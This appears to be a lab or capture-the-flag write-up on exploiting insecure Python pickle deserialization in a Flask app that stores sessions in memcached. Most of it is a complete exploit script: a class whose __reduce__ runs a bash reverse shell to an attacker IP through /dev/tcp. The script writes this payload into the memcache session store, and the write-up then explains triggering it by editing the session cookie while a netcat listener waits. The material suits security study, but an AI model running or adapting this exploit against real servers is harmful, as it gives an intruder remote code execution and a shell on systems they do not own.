The flask app caches the logon session in the memcache daemon, in python pickle is used to serialize and deserialize data.
Serialization is a process of converting the python’s object into byte stream for transport over the network or convert the python object into byte stream for storing into a file. Deserialization is to convert the byte stream back to python’s object.
Json serialized data is human-readable while pickle serialized data is not. The difference between json and pickle can be found here: https://docs.python.org/3/library/pickle.html

The flask app takes in a login and does nothing else.

Each session is cached in the memcache daemon, and the session after logon can be retrieved with firefox’s web developer’s tool.


From the result of memccat there are p1, p2 and p3 in the content, this reveals that pickle is used for deserialization and serialization. The content is a deserialized data in string format.

From pickle’s disclaimer it is developer’s responsibility to ensure serialized data is from “trusted” source… but how can developer ensure? Supposed if there is a flask app and serialized data may be coming from clients…
import pickle
import os
from pymemcache.client.base import Client
from pymemcache.exceptions import (
MemcacheError,
MemcacheClientError,
MemcacheServerError,
MemcacheUnknownError,)
MC_ERR = (MemcacheError, MemcacheClientError, MemcacheServerError, MemcacheUnknownError)
# Modify as you deemed fit.
victim = "192.168.161.59"
attacker = "192.168.49.161"
attacker_port = 11211
class RCE:
def __reduce__(self):
# reverse shell command string
cmd = f"/bin/bash -c '/bin/bash -i >& /dev/tcp/{attacker}/{attacker_port} 0>&1'"
# __reduce__ returns a tuple of callable and tuple of arguments of the callable
return os.system, (cmd,)
if __name__ == '__main__':
try:
# create a memcache client object
mc = Client(f"{victim}:11211")
# Set a key you_have_been_pwned with serialized data of the reverse shell command.
mc.set("session:you_have_been_pwned", pickle.dumps(RCE()))
except MC_ERR as e:
print(e)
The above code is to send a serialized data which contains a reverse shell command line to the memcache daemon.

To deserialize the data in memcache server, use the web developer tool and select /admin then right click and select “edit and resend”, change the cookie to “you_have_been_pwned” then send, before doing this cookie modification setup the netcat listener first.


References:
https://davidhamann.de/2020/04/05/exploiting-python-pickle/
https://docs.python.org/3/library/pickle.html
https://blog.nelhage.com/2011/03/exploiting-pickle/
https://dan.lousqui.fr/explaining-and-exploiting-deserialization-vulnerability-with-python-en.html